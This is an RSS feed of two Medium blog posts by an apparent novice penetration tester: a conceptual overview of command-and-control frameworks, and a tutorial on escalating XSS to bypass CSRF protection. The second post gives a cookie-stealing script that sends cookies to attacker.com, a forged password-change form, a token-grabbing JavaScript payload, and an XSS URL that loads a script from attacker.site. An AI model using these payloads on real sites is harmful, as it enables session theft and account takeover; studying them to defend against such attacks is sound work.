<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by H1ntr0x1 on Medium]]></title>
        <description><![CDATA[Stories by H1ntr0x1 on Medium]]></description>
        <link>https://medium.com/@h1nt3r?source=rss-ca98de4da40f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PCbxMsrrKS6JTxWUo51Dfg.png</url>
            <title>Stories by H1ntr0x1 on Medium</title>
            <link>https://medium.com/@h1nt3r?source=rss-ca98de4da40f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:19:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@h1nt3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WHAT IS C2 (command && control)]]></title>
            <link>https://h1nt3r.medium.com/what-is-c2-command-control-3ff2aa0c7d11?source=rss-ca98de4da40f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ff2aa0c7d11</guid>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[H1ntr0x1]]></dc:creator>
            <pubDate>Thu, 04 May 2023 12:39:24 GMT</pubDate>
            <atom:updated>2023-05-05T15:14:28.907Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4GGHc1M97daFK-NDuaManw.jpeg" /></figure><h4>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</h4><h4>Hello friend, I’m ahmed, noob Penetration tester &amp; today I will talk about C2 or COMMAND and CONTROL</h4><p><strong>C2</strong>, or command and control, is a critical component of cyberattacks, allowing attackers to remotely control compromised systems and carry out malicious activities. In today’s digital landscape, <strong>C2</strong> has become increasingly sophisticated and difficult to detect, making it a major challenge for defenders. To better understand <strong>C2</strong> and how it is used in cyberattacks, it’s important to explore the different types of <strong>C2</strong> frameworks and how they work. In this article, we will delve into the world of <strong>C2</strong>, providing an overview of its purpose in cyberattacks, the different types of <strong>C2</strong> frameworks available, and how they are used by attackers to maintain access and control over compromised systems. By understanding the mechanics of <strong>C2</strong>, defenders can better protect their systems and mitigate the impact of cyberattacks.</p><p>First</p><h3>what is <strong>C2</strong> (command and control)</h3><p><strong>C2</strong>, or command and control, refers to the communication and management system used by cyber attackers to remotely control compromised systems. The purpose of <strong>C2</strong> in cyberattacks is to establish a persistent presence on a victim’s system, allowing attackers to execute malicious activities such as stealing data, spreading malware, or launching a any attack.</p><p><strong>C2</strong> is a critical component of modern cyberattacks, as it enables attackers to maintain access and control over compromised systems, even after initial infiltration. This allows them to carry out their malicious activities undetected and for an extended period of time, making it more difficult for defenders to detect and respond to the attack.</p><p>The use of C2 in cyberattacks has become increasingly sophisticated over the years, with attackers constantly developing new techniques and tools to evade detection. Understanding the purpose and mechanics of <strong>C2</strong> is therefore crucial for defenders to effectively protect their systems and mitigate the impact of cyberattacks.</p><p>Let’s say that an attacker wants to steal sensitive data from a company’s server. They first need to gain access to the server, which they may do through various means such as phishing emails or exploiting vulnerabilities in the server’s software. Once they gain access, the attacker will install a <strong>C2</strong> framework on the compromised server.</p><p>This <strong>C2</strong> framework allows the attacker to remotely control the compromised server and execute commands on it, even if they are not physically present. The attacker can use the <strong>C2</strong> framework to upload and download files, execute malicious scripts, and even create backdoors for future access. The <strong>C2</strong> framework will also allow the attacker to evade detection by hiding their activities and communications within legitimate network traffic.</p><p>The attacker can then use the compromised server as a launching pad for further attacks, such as spreading malware to other systems in the network or stealing additional sensitive data. Because the attacker has established a persistent presence on the compromised server through the <strong>C2</strong> framework, they can continue to carry out their malicious activities over an extended period of time, making it more difficult for defenders to detect and respond to the attack.</p><p>Second</p><h3>C2 frameworks</h3><p>There are several types of <strong>C2</strong> frameworks available, each with its own unique features and capabilities. Some popular <strong>C2</strong> frameworks include Metasploit, Cobalt Strike, Empire, Covenant, Sillenttrinity and Pupy. These frameworks are designed to be stealthy and difficult to detect, often using encryption and obfuscation techniques to hide their activities within legitimate network traffic.</p><p>While each <strong>C2</strong> framework has its own unique features and capabilities, they all share the common goal of allowing attackers to maintain persistent access and control over compromised systems. Some <strong>C2</strong> frameworks use reverse shell connections, while others use beaconing or domain generation algorithms to communicate with the compromised system. Some frameworks are open-source and freely available, while others are commercial products that require payment.</p><p>Understanding the different types of <strong>C2</strong> frameworks and their similarities and differences is crucial for defenders to effectively detect and mitigate <strong>C2</strong>-based attacks. By understanding the mechanics of <strong>C2</strong>, defenders can better protect their systems and mitigate the impact of cyberattacks. In the next section, we will explore how <strong>C2</strong> works and the steps involved in establishing and maintaining <strong>C2</strong> communications.</p><p>Second+1</p><h3>How are C2 Frameworks used in Cyberattacks</h3><p>Attackers use a variety of techniques to deploy <strong>C2</strong> frameworks in order to remotely control compromised systems and carry out malicious activities. Here are some common techniques used by attackers to deploy <strong>C2</strong> frameworks:</p><ol><li>Exploiting Vulnerabilities: Attackers may use known vulnerabilities in software or hardware to gain access to a target system, and then install a <strong>C2</strong> framework on the compromised system.</li><li>Social Engineering: Attackers may use social engineering techniques, such as phishing emails or fake software updates, to trick users into downloading and installing a <strong>C2</strong> framework on their system.</li><li>Malware: Attackers may use malware, such as trojans or backdoors, to install a <strong>C2</strong> framework on a compromised system.</li><li>Fileless Attacks: Attackers may use fileless attack techniques, such as PowerShell or WMI, to execute commands on a compromised system and download and install a <strong>C2</strong> framework without leaving any traces on disk.</li><li>Watering Hole Attacks: Attackers may target websites frequently visited by their desired targets, and infect those websites with malware that installs a <strong>C2</strong> framework on the victim’s system.</li><li>Supply Chain Attacks: Attackers may target the software supply chain by compromising the software vendors’ systems and introducing malware or a <strong>C2</strong> framework into the software updates that are then downloaded and installed by the target systems.</li></ol><h3>THE END ):</h3><p><strong>C2</strong> frameworks enable cyber attackers to remotely control compromised systems and carry out malicious activities. Defenders and attackers must understand the different types of <strong>C2</strong> frameworks and their capabilities. Responsible and ethical use of <strong>C2</strong> knowledge and tools is important. Further learning can be done through resources such as the MITRE ATT&amp;CK .</p><h4>وتحياتي الى مديرية أمن السيكيورتي ويارب أعدي صافي السنادي</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ff2aa0c7d11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass CSRF protection with XSS.]]></title>
            <link>https://h1nt3r.medium.com/bypass-csrf-protection-with-xss-735e7611f8a4?source=rss-ca98de4da40f------2</link>
            <guid isPermaLink="false">https://medium.com/p/735e7611f8a4</guid>
            <category><![CDATA[csrf-protection]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[H1ntr0x1]]></dc:creator>
            <pubDate>Sat, 28 Jan 2023 23:22:06 GMT</pubDate>
            <atom:updated>2023-05-04T10:44:17.344Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Bypass CSRF Protection with XSS.</h3><figure><img alt="Thing from nothing" src="https://cdn-images-1.medium.com/max/891/1*RCZWuboWy8AOJttEtUlDFQ.jpeg" /><figcaption>عادل شكل الزعيم الأوحد لقطر ستة إلا تلت وقائد حلف الناحو</figcaption></figure><h3>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</h3><h4>Hello friend, I’m ahmed, noob (Penetration tester | Bug hunter) &amp; today I will talk about escalate XSS to CSRF</h4><p>Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are two common types of web application vulnerabilities that can have severe consequences for both the affected website and its users. In this article, we will explain how an attacker can escalate an XSS vulnerability to a CSRF attack, and how to prevent these types of attacks.</p><p>First, what is <strong>XSS :</strong></p><p>XSS is a type of security vulnerability that allows an attacker to inject malicious code (usually JavaScript) into a web page viewed by other users. The injected code can be used to steal sensitive information, such as login credentials, or to perform actions on behalf of the victim, such as making a purchase or changing account settings. For example, if a website allows users to post comments, but does not properly sanitize user input, an attacker could post a comment containing a malicious script, such as :</p><pre>&lt;script&gt;document.location=&#39;http://attacker.com/steal.php?cookie=&#39;+document.cookie;&lt;/script&gt;</pre><p>When other users view the comment, the malicious script will execute, stealing the user’s cookies and sending them to the attacker’s server.</p><p>There are two types of XSS attacks: stored and reflected. Stored XSS attacks occur when the attacker is able to inject malicious code into a web page that is then permanently stored on the server and served to all users who visit the page. Reflected XSS attacks occur when the attacker injects malicious code into a web page, but the code is not permanently stored. Instead, the code is executed only when the victim visits the page.</p><p>Second, what is CSRF :</p><p>CSRF is a type of attack that allows an attacker to perform actions on behalf of a victim, without the victim’s knowledge or consent. This is done by tricking the victim into visiting a malicious website or clicking on a malicious link while they are logged into a vulnerable website. Once the victim visits the malicious website, the attacker can use the victim’s cookies and session information to perform actions on the vulnerable website, such as changing account settings or making a purchase.</p><p>For example, an attacker could create a malicious website that contains the following HTML code :</p><pre>&lt;form method=&quot;POST&quot; action=&quot;http://vulnerable.com/changepassword&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;newpassword&quot; value=&quot;attackerpassword&quot;&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Change Password&quot;&gt;<br>&lt;/form&gt;</pre><p>When a victim visits the malicious website while logged into the vulnerable website, the form will be automatically submitted, changing the victim’s password to “attackerpassword”.</p><p>Now how can we combine the two vulnerabilitys together to get a high impact 🤑🤑🤑</p><p>A CSRF vulnerability can be used in conjunction with an XSS vulnerability to bypass the CSRF protection. In this type of attack, the attacker injects a malicious script into a web page that the victim visits. The script then sends a forged request to the web application with the victim’s cookies, allowing the attacker to perform actions on the victim’s behalf.</p><p>Here is an example of how this type of attack can be carried out :</p><ol><li>The attacker finds an XSS vulnerability in a web application, which allows them to inject a malicious script into a web page viewed by the victim.</li><li>The script creates a hidden form on the page with the necessary parameters for a sensitive action, such as changing the victim’s password. The script also sets the action of the form to a URL on the web application.</li><li>The script then automatically submits the form, sending a forged request with the victim’s cookies to the web application. The request appears to be coming from the victim, and the server processes it without checking for a CSRF token.</li><li>The attacker can then perform the sensitive action on the victim’s behalf, such as changing their password.</li></ol><p>Malicious JavaScript payload that will update the victim&#39;s password to hacked</p><pre><br>var csrfProtectedPage = &#39;http://vulnerable.site/profile.php&#39;;<br>var csrfProtectedForm = &#39;form&#39;;<br>// get valid token for current request<br>var html = get(csrfProtectedPage);<br>document.body.innerHTML = html;<br>var form = document.getElementById(csrfProtectedForm);<br>var token = form.token.value;<br>// build form with valid token and evil credentials<br>document.body.innerHTML<br>        += &#39;&lt;form id=&quot;myform&quot; action=&quot;&#39; + csrfProtectedPage + &#39;&quot; method=&quot;POST&quot;&gt;&#39;<br>        + &#39;&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;&#39; + token + &#39;&quot;&gt;&#39;<br>        + &#39;&lt;input id=&quot;password&quot; name=&quot;name&quot; value=&quot;hacked&quot;&gt;&#39;<br>        + &#39;&lt;/form&gt;&#39;;<br>// submit form<br>document.forms[&quot;myform&quot;].submit();<br>function get(url) {<br>    var xmlHttp = new XMLHttpRequest();<br>    xmlHttp.open(&quot;GET&quot;, url, false);<br>    xmlHttp.send(null);<br>    return xmlHttp.responseText;<br>}<br></pre><p>If we put that code inside the js file and put its in the xss src payload and the victim opens that url, his password will be changed to hacked.</p><p>URL with js payload :</p><p>https://vulnerable.site/profile.php?msg=&lt;script src=’https://attacker.site/attacker/script.js&#39;&gt;&lt;/script&gt;</p><p>The following js code is the one we kept the payload inside :</p><pre>&lt;script src=&#39;https://attacker.site/attacker/script.js&#39;&gt;&lt;/script&gt;</pre><h3>If you got here, I hope you benefited.</h3><h3>يارب أحمد يعدي صافي في حاسبات المنصورة</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=735e7611f8a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>